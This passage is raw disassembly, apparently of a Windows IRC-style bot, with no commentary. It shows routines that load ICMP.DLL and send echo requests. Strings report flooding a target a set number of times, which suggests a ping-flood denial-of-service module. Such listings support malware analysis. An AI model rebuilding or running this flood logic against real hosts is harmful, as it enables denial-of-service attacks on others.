		mov	byte_4491D3[esi*4], bl
		mov	ecx, dword_4491C7[esi*4]
		push	ecx
		call	edi
		mov	dword_4491C7[esi*4], ebx
		mov	edx, dword_4491CB[esi*4]
		lea	esi, ds:4491CBh[esi*4]
		push	edx
		call	edi
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491BF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61BF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 27809BDh
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28308B0h


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61BB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61BB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FBB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FBB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FBBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A34
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27D0796h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E140, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E144, eax
		call	edi
		mov	ecx, dword_50E140
		mov	dword_50E13C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E144
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


